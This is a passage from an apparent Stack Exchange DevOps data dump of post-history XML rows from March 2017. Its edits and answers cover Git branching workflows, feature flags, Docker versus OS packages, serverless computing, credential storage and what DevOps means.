https://www.terraform.io/intro/getting-started/variables.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="645" PostHistoryTypeId="2" PostId="227" RevisionGUID="70efc262-cfe1-4b17-a7ee-9ace85b5a785" CreationDate="2017-03-02T15:47:16.983" UserId="6" Text="The Atlassian website includes a [comparison of different workflow strategies][1] available when concerned with Git. More strategies exist, like the one used by Linux Kernel team, but are not relevant to most organisations.&#xD;&#xA;&#xD;&#xA;The workflow types most commonly used are -&#xD;&#xA;&#xD;&#xA;1. [Centralized][2] - every change is added using a single branch.&#xD;&#xA;2. [Feature Branch][3] - every change is added on its own branch and considered for merging into a central branch for integration.&#xD;&#xA;2. [Gitflow][4] - based on feature branch workflow, but also adds another branch for stable releases, and another bunch of branches for hotfixes on that stable release branch.&#xD;&#xA;3. [Forking][5] - in OSS projects often the whole project is copied over to an additional repository and changes are merged between multiple public repositories, or not merged, but still available to the public.&#xD;&#xA;&#xD;&#xA;Depending on the organization, one of these might be more suitable.&#xD;&#xA;&#xD;&#xA;1. Centralized - non-restrictive, allows everyone to shoot anyone to &quot;break the build&quot; by pushing changes, least overhead and process involved. The advantage is a continuous integration of changes, even when those don't work.&#xD;&#xA;2. Feature branch - allows anyone to add changes by adding some overhead process, but integration into main collaborative work is a controlled process. Has the disadvantage of integrating changes late, when requests to merge are forgotten or not attended.&#xD;&#xA;3. Gitflow - huge overhead in managing the various branches, causes a lot of confusion for regular people who just want to get their changes into the branch. Can work well when most developers only see the &quot;feature branch&quot; part of this. Merging between the development and stable branches often happens late, and integration is not trivial. Adds a *lot* of extra overhead and terminology that everyone must understand well.&#xD;&#xA;4. Forking - the wild west, requires a server that supports managing multiple repositories and repositories per-user (GitHub, GitLab, BitBucket Server, etc...). Allows most freedom for each contributor to do whatever he wants, but does not force integration. Demands that integration is done piecemeal in small bits and very controlled, usually by using pull requests across repositories. Works well in unorganized teams such as OSS project contributors.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.atlassian.com/git/tutorials/comparing-workflows&#xD;&#xA;  [2]: https://www.atlassian.com/git/tutorials/comparing-workflows#centralized-workflow&#xD;&#xA;  [3]: https://www.atlassian.com/git/tutorials/comparing-workflows#feature-branch-workflow&#xD;&#xA;  [4]: https://www.atlassian.com/git/tutorials/comparing-workflows#gitflow-workflow&#xD;&#xA;  [5]: https://www.atlassian.com/git/tutorials/comparing-workflows#forking-workflow" ContentLicense="CC BY-SA 3.0" />
  <row Id="647" PostHistoryTypeId="10" PostId="183" RevisionGUID="6d6d5550-00dd-451f-8906-4631a88f84a0" CreationDate="2017-03-02T15:55:05.173" UserId="-1" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="648" PostHistoryTypeId="5" PostId="225" RevisionGUID="6affa59b-05cb-4cbe-9975-1c7bde46ec2f" CreationDate="2017-03-02T15:56:57.437" UserId="44" Comment="GIT =&gt; Git" Text="I'm looking for a high-level, summary description of the recommended branching strategies/workflows primarily applicable with Git, which would serve as a guide for navigating this environment.&#xD;&#xA;&#xD;&#xA;Ideally a summary of pros/cons and maybe intended usage of such strategies/workflows should be mentioned as well.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="649" PostHistoryTypeId="4" PostId="225" RevisionGUID="6affa59b-05cb-4cbe-9975-1c7bde46ec2f" CreationDate="2017-03-02T15:56:57.437" UserId="44" Comment="GIT =&gt; Git" Text="What branching strategies/workflows are available for Git repositories?" ContentLicense="CC BY-SA 3.0" />
  <row Id="650" PostHistoryTypeId="24" PostId="225" RevisionGUID="6affa59b-05cb-4cbe-9975-1c7bde46ec2f" CreationDate="2017-03-02T15:56:57.437" Comment="Proposed by 44 approved by 47 edit id of 58" ContentLicense="CC BY-SA 3.0" />
  <row Id="651" PostHistoryTypeId="2" PostId="228" RevisionGUID="c6945824-9c06-41fd-be4c-ef1b3e018494" CreationDate="2017-03-02T16:00:21.553" UserId="228" Text="I liked the answers provided by the [IT Skeptic][1] on an [episode][2] of [DevOpsCafe.org][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.itskeptic.org&#xD;&#xA;  [2]: http://devopscafe.org/show/2013/3/25/devops-cafe-episode-40.html&#xD;&#xA;  [3]: http://devopscafe.org" ContentLicense="CC BY-SA 3.0" />
  <row Id="653" PostHistoryTypeId="2" PostId="229" RevisionGUID="9ff98483-2fe3-4a03-9eae-e8e017ebcafe" CreationDate="2017-03-02T16:01:44.853" UserId="6" Text="You are already building and testing code on each of the pull-request and hot-fix branches. This means that in aggregate, the sum of all branches pending on pull-request are your virtual `develop` branch.&#xD;&#xA;&#xD;&#xA;You can create a system when in a test environment, several pull-requests are cherry picked into a temporary branch that is not published to the main repository. This branch is used to integrate a test environment that includes `master` and several additional pull-requests, but once the testing is done, this branch is no longer available anywhere.&#xD;&#xA;&#xD;&#xA;When you create a release from `master`, you would usually create a tag on that release. Later hotfixes can use that tag to create a new hotfix branch from which a deployment will be made, even though the edge of `master` is already ahead. On this hotfix branch you would probably also tag a minor release, and make sure that the changes were merged into `master`.&#xD;&#xA;&#xD;&#xA;Removing merged features from a release is quite hard to do with git. The best mechanism for this would be to use `git revert` on the merge commit. But that makes it almost impossible to get these features/changes back, and history becomes all muddled.&#xD;&#xA;&#xD;&#xA;A much better way to handle separation for deployment of code, and release of features, is *feature flags*. If your developers can hide their features behind some conditions in the code itself, you could deploy their code, but turn off the feature. This is a separate topic, but a lot of information about this exists (including a Q&amp;A on devops.SE)." ContentLicense="CC BY-SA 3.0" />
  <row Id="654" PostHistoryTypeId="5" PostId="226" RevisionGUID="438dab7c-ff40-4fbe-ba7c-06d591def190" CreationDate="2017-03-02T16:02:15.067" UserId="156" Comment="remove copy paste artifacts (http://stackoverflow.com/questions/42503350/deploying-angular2-yii2-apps-multisite)" Text="I am working on an Angular2 project with Yii2 (PHP/MySQL) as its API point. We will need to deploy the Angular app in different languages for different customers (using AOT compilation from angular-cli).&#xD;&#xA;&#xD;&#xA;What is the best way to achieve this? I am looking at Docker or Ansible(-container) to make this work. But the examples are mainly for a 1:1 setup. But I would need a 1:n, something like:&#xD;&#xA;&#xD;&#xA;    deploy app-de new_costomer prod_server&#xD;&#xA;&#xD;&#xA;Additional to that, when a new version of the app is available i want to update the entire network with the new app (that requires uploading of the src/ folder AOT compiled, and db migration scripts on the Yii2 side).&#xD;&#xA;&#xD;&#xA;Ideally it would do something like:&#xD;&#xA;&#xD;&#xA;    deploy update network-all prod_server&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="655" PostHistoryTypeId="6" PostId="226" RevisionGUID="438dab7c-ff40-4fbe-ba7c-06d591def190" CreationDate="2017-03-02T16:02:15.067" UserId="156" Comment="remove copy paste artifacts (http://stackoverflow.com/questions/42503350/deploying-angular2-yii2-apps-multisite)" Text="&lt;deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="656" PostHistoryTypeId="24" PostId="226" RevisionGUID="438dab7c-ff40-4fbe-ba7c-06d591def190" CreationDate="2017-03-02T16:02:15.067" Comment="Proposed by 156 approved by 13, 6 edit id of 57" ContentLicense="CC BY-SA 3.0" />
  <row Id="657" PostHistoryTypeId="10" PostId="226" RevisionGUID="bcd9c329-50b0-4d28-9fce-8088f35fc32a" CreationDate="2017-03-02T16:05:17.727" UserId="-1" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:72,&quot;DisplayName&quot;:&quot;Dave Swersky&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:44,&quot;DisplayName&quot;:&quot;Sathya&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;}]}" />
  <row Id="658" PostHistoryTypeId="2" PostId="230" RevisionGUID="8fefb31f-a3c8-48e6-ad7a-9cd883ea3768" CreationDate="2017-03-02T16:13:14.720" UserId="47" Text="In a **mature** DevOps organisation would choosing a product/product line integration branch strategy be part of DevOps? Or some other organisation?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="659" PostHistoryTypeId="1" PostId="230" RevisionGUID="8fefb31f-a3c8-48e6-ad7a-9cd883ea3768" CreationDate="2017-03-02T16:13:14.720" UserId="47" Text="Would choosing the integration branch strategy be part of DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="660" PostHistoryTypeId="3" PostId="230" RevisionGUID="8fefb31f-a3c8-48e6-ad7a-9cd883ea3768" CreationDate="2017-03-02T16:13:14.720" UserId="47" Text="&lt;branch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="661" PostHistoryTypeId="5" PostId="230" RevisionGUID="87e49d94-99bf-40a9-a333-b293ece8a319" CreationDate="2017-03-02T16:15:20.710" UserId="47" Comment="deleted 28 characters in body" Text="In a **mature** DevOps organisation would choosing a product/product line integration branch strategy be part of DevOps?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="662" PostHistoryTypeId="10" PostId="225" RevisionGUID="717fe4e1-c5c1-4ed5-a5aa-8fbb4e8b0b9a" CreationDate="2017-03-02T16:16:12.600" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:246,&quot;DisplayName&quot;:&quot;Alexandre&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="665" PostHistoryTypeId="5" PostId="228" RevisionGUID="0f3552d0-94e4-43f8-ac81-4dcd79af4cac" CreationDate="2017-03-02T16:45:21.267" UserId="228" Comment="added 284 characters in body" Text="I liked the answers provided by the [IT Skeptic][1] on an [episode][2] of [DevOpsCafe.org][3] If I remember it correctly, his line of thinking is that if you actually really understand ITIL, there is very little conflict. That most of ITIL guidelines are very general and that the conflicts are largely between some implementations of ITIL, not behind the actual specification.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.itskeptic.org&#xD;&#xA;  [2]: http://devopscafe.org/show/2013/3/25/devops-cafe-episode-40.html&#xD;&#xA;  [3]: http://devopscafe.org" ContentLicense="CC BY-SA 3.0" />
  <row Id="666" PostHistoryTypeId="2" PostId="231" RevisionGUID="225b5ad8-7a7e-4bdc-ae9c-3a7af65e2926" CreationDate="2017-03-02T16:45:47.033" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="667" PostHistoryTypeId="1" PostId="231" RevisionGUID="225b5ad8-7a7e-4bdc-ae9c-3a7af65e2926" CreationDate="2017-03-02T16:45:47.033" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="668" PostHistoryTypeId="2" PostId="232" RevisionGUID="3852b26b-a9b8-40c3-a304-57fe1961b1e1" CreationDate="2017-03-02T16:45:47.033" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="669" PostHistoryTypeId="1" PostId="232" RevisionGUID="3852b26b-a9b8-40c3-a304-57fe1961b1e1" CreationDate="2017-03-02T16:45:47.033" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="671" PostHistoryTypeId="12" PostId="216" RevisionGUID="1925d824-95e4-4645-b123-d3646f4dbbbb" CreationDate="2017-03-02T16:56:06.630" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="672" PostHistoryTypeId="11" PostId="54" RevisionGUID="99e50a9d-b2b3-4eee-84f5-2fab52ea00aa" CreationDate="2017-03-02T17:01:28.237" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:228,&quot;DisplayName&quot;:&quot;Jiri Klouda&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:271,&quot;DisplayName&quot;:&quot;Michael Grünewald&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;}]}" />
  <row Id="673" PostHistoryTypeId="2" PostId="233" RevisionGUID="0e2d53d3-b614-4c51-a0b4-0f0247999b2c" CreationDate="2017-03-02T17:13:27.143" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="674" PostHistoryTypeId="1" PostId="233" RevisionGUID="0e2d53d3-b614-4c51-a0b4-0f0247999b2c" CreationDate="2017-03-02T17:13:27.143" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="675" PostHistoryTypeId="2" PostId="234" RevisionGUID="2704c329-49ba-4092-b671-12a3f28b8b3a" CreationDate="2017-03-02T17:13:27.143" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="676" PostHistoryTypeId="1" PostId="234" RevisionGUID="2704c329-49ba-4092-b671-12a3f28b8b3a" CreationDate="2017-03-02T17:13:27.143" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="677" PostHistoryTypeId="2" PostId="235" RevisionGUID="9d1a8f8e-078c-4098-815d-24636f37720e" CreationDate="2017-03-02T17:20:12.990" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="678" PostHistoryTypeId="1" PostId="235" RevisionGUID="9d1a8f8e-078c-4098-815d-24636f37720e" CreationDate="2017-03-02T17:20:12.990" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="679" PostHistoryTypeId="2" PostId="236" RevisionGUID="ac34bdf4-021c-4c30-b3c0-46dc5143fdd8" CreationDate="2017-03-02T17:20:12.990" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="680" PostHistoryTypeId="1" PostId="236" RevisionGUID="ac34bdf4-021c-4c30-b3c0-46dc5143fdd8" CreationDate="2017-03-02T17:20:12.990" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="681" PostHistoryTypeId="10" PostId="230" RevisionGUID="82d13c74-73b2-4deb-a00b-ebb6847ba680" CreationDate="2017-03-02T17:21:10.863" UserId="-1" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:44,&quot;DisplayName&quot;:&quot;Sathya&quot;}]}" />
  <row Id="682" PostHistoryTypeId="5" PostId="192" RevisionGUID="9ed09936-343b-4da9-8ae1-6ed48ce057c4" CreationDate="2017-03-02T17:24:44.240" UserId="6" Comment="narrowed down the question" Text="Everyone is saying that storing credentials in version control (git) is a bad thing. So there must be other ways to store credentials which are much better.&#xD;&#xA;&#xD;&#xA;An application must receive credentials from somewhere to use services it depends on. These credentials are usually stored in configuration files. Manually entering each server to create that file is out of the question, since servers come and go without human intervention.&#xD;&#xA;&#xD;&#xA;What are the exact reason(s) to not store credentials in version control?&#xD;&#xA;&#xD;&#xA;What are good alternatives to create a configuration file for credentials for the application?" ContentLicense="CC BY-SA 3.0" />
  <row Id="683" PostHistoryTypeId="2" PostId="237" RevisionGUID="2d16e7d0-b24e-4872-bc00-831f19b33679" CreationDate="2017-03-02T17:24:50.657" UserId="154" Text="Talking specifically about the image packaging piece of Docker, not the container runtime there are a few minor bits. The biggest is that a Docker image is more like a chroot, which means you are prevented from accidentally depending on shared system state since every file in use must be explicitly included in the image while a system package might pick up dynamic links you didn't expect or otherwise get more intertwined with other packages. This can come up with complex C dependencies getting loaded without your knowledge, for example OpenSSL. Additionally using deb packages don't de-duplicate shared bits in the say Docker's storage system does. For some this might be a good thing, better I/O performance and fewer moving pieces, but for others it might be a problem." ContentLicense="CC BY-SA 3.0" />
  <row Id="684" PostHistoryTypeId="5" PostId="124" RevisionGUID="ab86a8a7-c4ad-44a3-8d08-f30b86119b3f" CreationDate="2017-03-02T17:26:27.920" UserId="44" Comment="link HPPA for those who don't know, minor grammar fixes" Text="I have a use case where data from S3 is queued into AWS SQS, which is in turn connected to CloudWatch, whose metrics will be triggering AWS Lambda.&#xD;&#xA;&#xD;&#xA;However, I want the architecture to be [HIPPA][1] compliant. So, I have come up with this idea:&#xD;&#xA;&#xD;&#xA;1. Once my S3 bucket gets a file,&#xD;&#xA;2. Fire up a Lambda function, which does hashing/name scrambling of the files, and copies to another S3 bucket (via `aws cp`)&#xD;&#xA;3. Connect the bucket with the hashed/scrambled names to the SQS queue&#xD;&#xA;&#xD;&#xA;**Is this a good and secure practice? Or is there a better workaround?** (Would be more than happy if I can send encrypted keys of S3 to SQS. But not sure if I can or if it is possible)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Health_Insurance_Portability_and_Accountability_Act" ContentLicense="CC BY-SA 3.0" />
  <row Id="685" PostHistoryTypeId="24" PostId="124" RevisionGUID="ab86a8a7-c4ad-44a3-8d08-f30b86119b3f" CreationDate="2017-03-02T17:26:27.920" Comment="Proposed by 44 approved by 46 edit id of 65" ContentLicense="CC BY-SA 3.0" />
  <row Id="686" PostHistoryTypeId="11" PostId="3" RevisionGUID="ccc2fe5f-4edf-4db5-8e17-7b5cf05f9078" CreationDate="2017-03-02T17:36:15.383" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:10,&quot;DisplayName&quot;:&quot;avi&quot;},{&quot;Id&quot;:20,&quot;DisplayName&quot;:&quot;pinkpanther&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:246,&quot;DisplayName&quot;:&quot;Alexandre&quot;},{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;}]}" />
  <row Id="687" PostHistoryTypeId="2" PostId="238" RevisionGUID="35c0ce40-624d-4005-b2c1-7d84aa4af591" CreationDate="2017-03-02T17:42:01.697" UserId="6" Text="A Debian (or RedHat) package to install applications has been a good practice when done correctly. Packages are used for the purpose of deploying applications which are infrequently changed. Debian packages involve some overhead, like version management, dependency management, pre&amp;post-install scripts, etc...&#xD;&#xA;&#xD;&#xA;In many cases upgrading from some older version to a new version requires the careful writing of scripts, attention to details in version, etc. Because mutating existing state is difficult. It would be much easier to replace the current state altogether with a new state, without mutating anything.&#xD;&#xA;&#xD;&#xA;Once you decide to completely replace your configuration or dependencies or application on each deployment because it is easier and less error prone. Most organizations (used to) switch to a whole new VM or cloud instance. Which means that installing the package would be done on a &quot;clean&quot; server, and mutating the files and configuration on the server is not a problem anymore.&#xD;&#xA;&#xD;&#xA;Those developers who created packages and did not understand the fallacy and complexity in mutations suffered quite a lot of difficulties as a result.&#xD;&#xA;&#xD;&#xA;Replacing VMs is sub-optimal when all you need is to replace an application, which is why lightweight containers were introduced as an answer. Using Docker (or other LWC) you can replace the userbase, including all the dependencies, without replacing the server itself. You can also host multiple versions of the same application, with different dependencies, on the same server and only switch the incoming network traffic on upgrade. As well as switch network traffic back on rollback (blue-green), something that was remarkably hard in the case of managing deployments via packages.&#xD;&#xA;&#xD;&#xA;Containers introduce a way to bundle all the application code, and dependencies, and configuration, into an image. This image has multiple properties that make it much better than traditional operating system packages. For example, it has tags that enable versioning, but it also has layers, which enable to save on space. It allows an easy way to ship these images to servers, and development environments, by using a registry. And these images can be executed as containers in any environment and any server, almost identically. This includes the developer's laptop as well as the production environment. Again, something that was much more difficult to do with VMs and/or with package-based versions of the software. Having the same image tested on the developer's laptop, and staying the same bits and bytes in production removes a lot of &quot;works on my machine&quot; problems." ContentLicense="CC BY-SA 3.0" />
  <row Id="688" PostHistoryTypeId="5" PostId="70" RevisionGUID="987f79f0-65fc-4fe7-9954-5a3d16a240b6" CreationDate="2017-03-02T18:05:18.760" UserId="14" Comment="added 138 characters in body" Text="Wikipedia's article on [serverless computing](https://en.wikipedia.org/wiki/Serverless_computing) provides a decent introduction to the topic:&#xD;&#xA;&#xD;&#xA;&gt; Serverless computing, also known as function as a service (FaaS), is a cloud computing code execution model in which the cloud provider fully manages starting and stopping of a function's container platform as a service (PaaS) as necessary to serve requests, and requests are billed by an abstract measure of the resources required to satisfy the request, rather than per virtual machine, per hour.&#xD;&#xA;&#xD;&#xA;The idea is that a developer **shouldn't need to care about the server infrastructure at all**. The cloud provider manages the physical servers, the operating system used and all the traditional difficulties involved with running a server.&#xD;&#xA;&#xD;&#xA;Serverless computing changes your architecture from thinking about what **machines** are doing to what **functions** are doing. [AWS Lambda](https://aws.amazon.com/lambda/) is the example that comes to mind - you pay for and run **functions**, without any mention about what type of physical infrastructure is running below. There are also competing serverless hosts such as [Azure Functions](https://azure.microsoft.com/en-gb/services/functions/) (or you can simply search if you're not interested in either of those).&#xD;&#xA;&#xD;&#xA;There are quite a few advantages to serverless (although you do need to write in a slightly different way than you're used to in some cases, because it's a totally different architecture):&#xD;&#xA;&#xD;&#xA;- Scalability essentially comes for free - because you're just paying to run a function, the cloud provider can easily dedicate more hardware as needed to run your code. You can also potentially scale as demand rises, rather than paying a fixed rate whether your application is used once or a million times.&#xD;&#xA;&#xD;&#xA;- The server software and hardware no longer needs to be managed by a developer - the cloud provider handles that. If you've ever used something like Arch on a server, you'll know how easy it is to wipe out a critical package and break everything!&#xD;&#xA;&#xD;&#xA;- It frees up developers to focus on what they're good at - **code**. Most developers probably won't be great at both server infrastructure **and** programming - serverless just takes one problem out of the equation.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="689" PostHistoryTypeId="2" PostId="239" RevisionGUID="71575c2e-e1d8-4e75-b643-b13b2170cd4c" CreationDate="2017-03-02T18:10:37.237" UserId="256" Text="Automation is a key attribute of DevOps, but it's not the full story.  The question is kind-of like &quot;Whats the difference between time-boxing and Scrum&quot;.&#xD;&#xA;&#xD;&#xA;You'll hear DevOps called a 'culture', a 'movement', a 'methodology', and all kinds of things that won't box it in well enough for you to understand it, even though those descriptions are accurate.  In a nutshell, DevOps is about the confluence of agile methodologies, automation, and virtualization that enables a new feedback loop in the management/control/steering of a software project.&#xD;&#xA;&#xD;&#xA;With aggressive automation, things that use to take a long time and be subject to human error now happen quickly and without incident.  As a result, we tend to do them more often.  A primary example of this is a 'deploy into production'.  We used to save large batches of work and deploy them off-hours just in case 'something went wrong'.  But now we can deploy changes several times a day, in a way that the chances of 'something going wrong' is dramatically reduced, and in a way that the impact of something going wrong is much smaller when it does occur.&#xD;&#xA;&#xD;&#xA;Once we have this repeatable process in place, we begin to see it as a 'pipeline'.  Requirements go in, code deployed into production comes out.  We automate everything along this pipeline - tests, documentation, merges, deploys, and more tests, and so on...  Because people focus on the automation, they don't see the 'pipeline mentality' that drove it.  **This** is the management methodology - the attention paid on the pipeline - that makes DevOps more than Automation.&#xD;&#xA;&#xD;&#xA;Once we have that automation in place, the feedback loops kick in.  We start to measure things like **cycle time** so we can figure out things we had previous tried to guess with estimates.  Things about the architecture that make automation/continuous delivery hard tend to be replaced with alternative architectural patterns that make automation/continuous delivery easier (several great examples of this are documented in the book 'Evolutionary Databases'.  'Green/Blue Deployments' are another).  &#xD;&#xA;&#xD;&#xA;Notice I was able to provide this description without talking about Jenkins, Check, Puppet, Ansible, Vagrant, AWS, or any of the other tooling that supports it.  This is what we mean by the larger level buzzwords like 'methodology'.  In the end, any set of tools can be replaced... what we're left with is the core management principles enabled by automation and th focus on the pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="690" PostHistoryTypeId="2" PostId="240" RevisionGUID="692534c5-33e0-4858-bb0d-03525d11f13d" CreationDate="2017-03-02T18:20:02.307" UserId="256" Text="Not at all.  While there are already great examples on this thread, I'd like to share an anecdote of my own.  In 2001 I inherited a software project with a release that involved the creation of a CD.  The documentation for the release process included 40(!) steps documented by a previous engineer, that included some ridiculous hand-written instructions like &quot;open this config file and change the name of the .jar file on line 41 to include the version number of the new release&quot;.&#xD;&#xA;&#xD;&#xA;We aggressively automated every step of that build process, replacing hand written instructions like that with things like 'patch' scripted with bash.  We even had to open tickets with our third party install-tool vendor to make their project files patchable.&#xD;&#xA;&#xD;&#xA;Once that process was automated, we bought a 'CD Jukebox'.  Every night after the tests would pass, the build machine would automatically create a new install CD.  Our testers could come in the next morning, grab a disk, and make sure everything was installable.&#xD;&#xA;&#xD;&#xA;We certainly have tighter feedback loops when we can deploy software as a service, but the core principals of automation, feedback, cycle time, small releases, etc. all apply." ContentLicense="CC BY-SA 3.0" />
  <row Id="691" PostHistoryTypeId="2" PostId="241" RevisionGUID="cb44f6da-6ffd-4d21-a1b4-d7e918409a0c" CreationDate="2017-03-02T18:29:36.317" UserId="256" Text="'Serverless', like many things in our space, is becoming an overloaded term.. but generally what it means is &quot;Functionally, Our architecture does not depend on the provisioning or ongoing maintenance of a server&quot;&#xD;&#xA;&#xD;&#xA;The first instance that comes to mind is a single page javascript app, that uses local storage, and is stored on something like Amazon S# or Github Pages (or any static site - those are just common examples).  Imagine something like a 'todo' or 'getting things done'-style application that runs entirely in your browser.  Your browser hits a service like S3 to download the code, and the items you store are all stored in local storage in your browser.  There is no server you maintain for this.&#xD;&#xA;&#xD;&#xA;The second instance, and is a bit more complicated (and also the one that popularized the term 'serverless'), uses a service like AWS Lambda.  Let me explain this by presenting the problem it solves:&#xD;&#xA;&#xD;&#xA;Many times in my career I've solved a business problem for a client with little more than some ruby code that performed a periodic extract, transform, and load (typically written as a rake task).  Once solved, I'd typically automate it with cron.  Then the problem becomes 'where do I host this thing that runs once every hour?'  For some clients, we'd set up a server in their existing infrastructure.  For others, we'd set up an EC2 instance, even though it was idle 99% of the time.  In either of those circumstances, there is a server that requires provisioning, patching, monitoring, updating, etc.&#xD;&#xA;&#xD;&#xA;With Amazon Lambda, I can take that rake task and run it on their service as a pure 'function'.  I can even schedule it.  No longer would that client need a piece of infrastructure for such a simple once-an-hour thing.&#xD;&#xA;&#xD;&#xA;With 'serverless' there is still a server, just like with 'cloud' there is still a computer.  There is just a level of abstraction on top of it that takes some of the environmental responsibilities for you." ContentLicense="CC BY-SA 3.0" />
  <row Id="692" PostHistoryTypeId="5" PostId="239" RevisionGUID="0ea22124-6fac-40c2-8416-0f8e25069f6d" CreationDate="2017-03-02T18:34:28.313" UserId="14" Comment="Typos and grammar; Agile is usually written as capital (see https://en.wikipedia.org/wiki/Agile_software_development)" Text="Automation is a key attribute of DevOps, but it's not the full story.  The question is kind-of like &quot;What's the difference between time-boxing and Scrum?&quot;.&#xD;&#xA;&#xD;&#xA;You'll hear DevOps called a 'culture', a 'movement', a 'methodology', and all kinds of things that won't box it in well enough for you to understand it, even though those descriptions are accurate.  In a nutshell, DevOps is about the confluence of Agile methodologies, automation, and virtualization that enables a new feedback loop in the management/control/steering of a software project.&#xD;&#xA;&#xD;&#xA;With aggressive automation, things that use to take a long time and be subject to human error now happen quickly and without incident.  As a result, we tend to do them more often.  A primary example of this is a 'deploy into production'.  We used to save large batches of work and deploy them off-hours just in case 'something went wrong'.  But now we can deploy changes several times a day, in a way that the chances of 'something going wrong' is dramatically reduced, and in a way that the impact of something going wrong is much smaller when it does occur.&#xD;&#xA;&#xD;&#xA;Once we have this repeatable process in place, we begin to see it as a 'pipeline'.  Requirements go in, code deployed into production comes out.  We automate everything along this pipeline - tests, documentation, merges, deploys, and more tests, and so on...  Because people focus on the automation, they don't see the 'pipeline mentality' that drove it.  **This** is the management methodology - the attention paid on the pipeline - that makes DevOps more than Automation.&#xD;&#xA;&#xD;&#xA;Once we have that automation in place, the feedback loops kick in.  We start to measure things like **cycle time** so we can figure out things we had previous tried to guess with estimates.  Things about the architecture that make automation/continuous delivery hard tend to be replaced with alternative architectural patterns that make automation/continuous delivery easier (several great examples of this are documented in the book 'Evolutionary Databases'.  'Green/Blue Deployments' are another).  &#xD;&#xA;&#xD;&#xA;Notice I was able to provide this description without talking about Jenkins, Check, Puppet, Ansible, Vagrant, AWS, or any of the other tooling that supports it.  This is what we mean by the larger level buzzwords like 'methodology'.  In the end, any set of tools can be replaced... What we're left with is the core management principles enabled by automation and the focus on the pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="693" PostHistoryTypeId="24" PostId="239" RevisionGUID="0ea22124-6fac-40c2-8416-0f8e25069f6d" CreationDate="2017-03-02T18:34:28.313" Comment="Proposed by 14 approved by 256 edit id of 66" ContentLicense="CC BY-SA 3.0" />
